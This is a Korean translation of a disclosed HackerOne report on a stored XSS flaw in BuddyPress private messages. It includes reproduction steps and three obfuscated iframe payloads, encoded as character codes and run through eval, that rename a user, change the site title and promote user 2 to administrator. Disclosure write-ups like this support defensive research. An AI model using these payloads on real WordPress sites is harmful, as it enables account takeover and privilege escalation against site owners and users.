A Hacker Next Door

Stored XSS in Private Message component (BuddyPress)

Category: PoC
Tag: Bugbounty, XSS, Translation, Hackerone

출처 : [hackerone hacktivity, 작성자 : Kieran Munday (klmunday)] https://hackerone.com/reports/487081

[ 본 이슈는 해결 된 상태이며, 취약점은 2019년 3월 9일 오전 7시 28분에 공개되었습니다. 워드프레스에 리포팅 되었으며, 해당 소스코드는 버디프레스(BuddyPress Core)의 것입니다. 취약점의 종류와 강도는 Stored XSS 이며, 포상금은 $500달러로 한화로 약 57만원 입니다. 해당 취약점은 9~10/10 정도의 심각성을 내포하고 있습니다. ]


설명

워드프레스 버전: 5.0.3 / 버디프레스 버전: 4.1.0

계정을 가진 버디프레스의 유저는 다른 용도를 위해 렌더링된 HTML 코드가 삽입된 비밀 메시지를 보낼 수 있는데, 이것은 script, iframe 등의 자바스크립트 코드를 실행시킬 수 있는 것들을 포함합니다. 이 XSS 코드는 DB에 저장되며 유저가 이 메시지를 읽는 어느 때라도 실행될 수 있습니다. 이 것은(역자 : 취약점이 발생되는 곳은) 유저가 마지막으로 받거나 보낸 메시지를 보여주는 the message preview window도 포함됩니다.

“희생자”가 권한을 부여한 어떠한 (웹앱의) 동작이라도 실행되고 있는 코드는 악용될 수 있으며, 특히 관리자와 같이 권한을 가진 사용자에게는 더 위험합니다. 왜냐하면 권한은 워드프레스 설정과 사용자 이메일과 같은 개인 정보를 열람할 수 있게하기 때문입니다. 이것은 플러그인 등과 같은 어떠한 동작도 포함됩니다.

이 취약점이 발생이 되는 선행 조건은 (기본 권한을 가진) 공격자의 계정과 비밀 메세지 기능이 설정되어있는 버디프레스 설정 외엔 없습니다.


공격이 발생되는 과정

새로운 메세지를 작성할 때 :

  1. 다른 사용자의 프로필 페이지로 이동합니다.
  2. 비밀 메시지(Private Message)를 클릭합니다.
  3. 아무 주제(subject)나 입력합니다.
  4. 다음과 같은 메시지를 입력합니다 : Test<iframe src=javascript:alert(1) width=0 height=0 style=display:none;></iframe>
  5. 메시지를 보냅니다.
  6. 메시지를 열람합니다(XSS를 트리거 시킨다).
  7. 희생자가 해당 메시지를 보길 기다립니다.

기존 스레드에 답할 때 :

  1. 본인 계정의 인박스 페이지로 갑니다.
  2. 받은 메시지를 열람합니다.
  3. 다음과 같은 코드가 첨부된 채 메시지에 답장을 보냅니다 : Test<iframe src=javascript:alert(1) width=0 height=0 style=display:none;></iframe>
  4. 메시지를 열람합니다(XSS를 트리거 시킨다).
  5. 희생자가 해당 메시지를 보길 기다립니다.

페이로드에는 공백이 들어가도 무방하지만 scr에는 어떠한 공백이나 쌍따옴표라도 포함되선 안됩니다. 그렇기 때문에 문자열과 eval’d(역자 : eval()함수)가 포함 된 char 코드로의 변환이 필요합니다.

예시:

<iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,116,101,115,116,32,61,32,49,50,51,59,10,97,108,101,114,116,40,116,101,115,116,41,59])) width=0 height=0 style=display:none;></iframe>

이것은 아래의 코드로 변환되어 실행됩니다:

let test = 123;
alert(test);

더 많은 용량의 페이로드가 사용될수도 있습니다. 그러나 (첨부할)코드가 char 코드 배열의 형태여야 하기 때문에 (만약 공백이나 쌍따옴표가 포함되어 있다면) 자바스크립트 코드를 보낼 수 있는 메시지로 변환시켜주는 간단한 파이썬 코드를 작성했습니다. 그리고 다음과 같이 수행되는 몇개의 개념증명 페이로드도 포함되어 있습니다 :

스크립트와 페이로드를 보기 위해 첨부된 zip파일을 다운로드 해주시길 바랍니다 : (역자 : 원문에서 다운로드 해주세요) https://hackerone.com/reports/487081

아래의 페일드 예시를 확인해주시길 바랍니다:

(참고: 공백을 넣는 것은 인박스의 메시지에서 iframe 코드가 보이지 않게 방지하는 것이지 해당 작업에 필요한 것은 아니고 iframe 태그 만을 필요로 합니다.)

“HACKED”로 사용자 이름을 바꿉니다:

This is a malicious message.                    <iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,110,97,109,101,32,61,32,112,97,114,101,110,116,46,66,80,95,78,111,117,118,101,97,117,46,109,101,115,115,97,103,101,115,46,114,111,111,116,85,114,108,46,115,112,108,105,116,40,39,47,39,41,91,50,93,59,10,108,101,116,32,117,114,108,32,61,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,109,101,109,98,101,114,115,47,39,32,43,32,110,97,109,101,32,43,32,39,47,112,114,111,102,105,108,101,47,101,100,105,116,47,103,114,111,117,112,47,49,47,39,59,10,10,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,117,114,108,44,32,116,121,112,101,58,32,39,71,69,84,39,44,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,32,123,10,32,32,32,32,108,101,116,32,100,111,109,32,61,32,112,97,114,101,110,116,46,106,81,117,101,114,121,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,105,110,112,117,116,91,110,97,109,101,61,34,102,105,101,108,100,95,49,34,93,39,41,46,118,97,108,40,39,72,65,67,75,69,68,39,41,59,10,32,32,32,32,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,100,111,109,46,102,105,110,100,40,39,35,112,114,111,102,105,108,101,45,101,100,105,116,45,102,111,114,109,39,41,46,97,116,116,114,40,39,97,99,116,105,111,110,39,41,44,32,116,121,112,101,58,32,39,80,79,83,84,39,44,32,100,97,116,97,58,32,100,111,109,46,102,105,110,100,40,39,35,112,114,111,102,105,108,101,45,101,100,105,116,45,102,111,114,109,39,41,46,115,101,114,105,97,108,105,122,101,40,41,125,41,10,125,125,41,59,10])) width=0 height=0 style=display:none;></iframe>

웹사이트 제목과 설명을 바꿉니다(관리자가 해당 메시지를 열람해야 합니다):

This is a malicious message.                    <iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,110,101,119,95,115,105,116,101,95,116,105,116,108,101,32,61,32,39,72,65,67,75,69,68,39,59,10,108,101,116,32,110,101,119,95,115,105,116,101,95,100,101,115,99,114,105,112,116,105,111,110,32,61,32,39,118,105,97,32,88,83,83,39,59,10,108,101,116,32,117,114,108,32,61,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,119,112,45,97,100,109,105,110,47,111,112,116,105,111,110,115,45,103,101,110,101,114,97,108,46,112,104,112,39,59,10,10,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,117,114,108,44,32,116,121,112,101,58,32,39,71,69,84,39,44,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,32,123,10,32,32,32,32,108,101,116,32,100,111,109,32,61,32,112,97,114,101,110,116,46,106,81,117,101,114,121,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,105,110,112,117,116,91,110,97,109,101,61,34,98,108,111,103,110,97,109,101,34,93,39,41,46,118,97,108,40,110,101,119,95,115,105,116,101,95,116,105,116,108,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,105,110,112,117,116,91,110,97,109,101,61,34,98,108,111,103,100,101,115,99,114,105,112,116,105,111,110,34,93,39,41,46,118,97,108,40,110,101,119,95,115,105,116,101,95,100,101,115,99,114,105,112,116,105,111,110,41,59,10,32,32,32,32,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,119,112,45,97,100,109,105,110,47,111,112,116,105,111,110,115,46,112,104,112,39,44,32,116,121,112,101,58,32,39,80,79,83,84,39,44,32,100,97,116,97,58,32,100,111,109,46,102,105,110,100,40,39,102,111,114,109,39,41,46,115,101,114,105,97,108,105,122,101,40,41,125,41,10,125,125,41,59])) width=0 height=0 style=display:none;></iframe>

id가 2인 유저를 관리자 권한으로 승격시킵니다(관리자가 해당 메시지를 열람해야 합니다):

This is a malicious message.                    <iframe src=javascript:eval(String.fromCharCode.apply(null,[108,101,116,32,117,114,108,32,61,32,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,46,111,114,105,103,105,110,32,43,32,39,47,119,112,45,97,100,109,105,110,47,117,115,101,114,45,101,100,105,116,46,112,104,112,63,117,115,101,114,95,105,100,61,50,38,119,112,95,104,116,116,112,95,114,101,102,101,114,101,114,61,47,119,112,45,97,100,109,105,110,47,117,115,101,114,115,46,112,104,112,39,59,10,10,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,117,114,108,44,32,116,121,112,101,58,32,39,71,69,84,39,44,32,115,117,99,99,101,115,115,58,32,102,117,110,99,116,105,111,110,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,32,123,10,32,32,32,32,108,101,116,32,100,111,109,32,61,32,112,97,114,101,110,116,46,106,81,117,101,114,121,40,104,116,109,108,95,114,101,115,112,111,110,115,101,41,59,10,32,32,32,32,100,111,109,46,102,105,110,100,40,39,115,101,108,101,99,116,91,110,97,109,101,61,34,114,111,108,101,34,93,39,41,46,112,114,111,112,40,34,115,101,108,101,99,116,101,100,73,110,100,101,120,34,44,32,52,41,59,10,32,32,32,32,112,97,114,101,110,116,46,106,81,117,101,114,121,46,97,106,97,120,40,123,117,114,108,58,32,100,111,109,46,102,105,110,100,40,39,102,111,114,109,39,41,46,97,116,116,114,40,39,97,99,116,105,111,110,39,41,44,32,116,121,112,101,58,32,39,80,79,83,84,39,44,32,100,97,116,97,58,32,100,111,109,46,102,105,110,100,40,39,102,111,114,109,39,41,46,115,101,114,105,97,108,105,122,101,40,41,125,41,10,125,125,41,59])) width=0 height=0 style=display:none;></iframe>

이미지가 포함되어있는 더 자세한 write-up을 원하신다면 https://docs.google.com/document/d/1RgMWJlYen9iR_JTxATYR4TJWAPKRgaSKuiiqZp7x8L0/edit?usp=sharing을 방문해 주세요.


영향

공격자는 그가 원하는 행위를 희생자가 하도록 페이로드를 조작할 수 있습니다. 특히 이것은 관리자에게 위험한데 그 이유로는, 만약 공격자가 희생자들을 타겟팅했다면 공격자는 사이트 정보나 컨텐츠를 수정할 수 있고, 사용자 개인정보 등과 같은 민감한 정보를 열람할 수 있기 때문입니다.

제가 공격을 수행했을 때 저는 프로필 이름과 사용자 비밀번호를 바꿀 수 있었으며, 사용자의 이메일 주소를 읽을 수 있었고 페이지와 웹사이트 데이터, 이메일 주소를 포함해 워드프레스 설정을 수정할 수 있었습니다.

타겟팅된 권한을 가진 사용자가 어떤 것을 하도록 악용할 수 없었고, 저는 아무것도 발견할 수 없었습니다. 공격자가 단 한번의 공격만으로 wp-admin과 다른 플러그인의 모든 기능에 접근하고 더 나아가 연결된 요청을 보내는 것은 타겟에 따라 다를 것으로 보입니다.

메시지를 읽으면 다른 모든 사용자에게 이메일을 전송하는 웜 바이러스 제작도 가능합니다.

▲top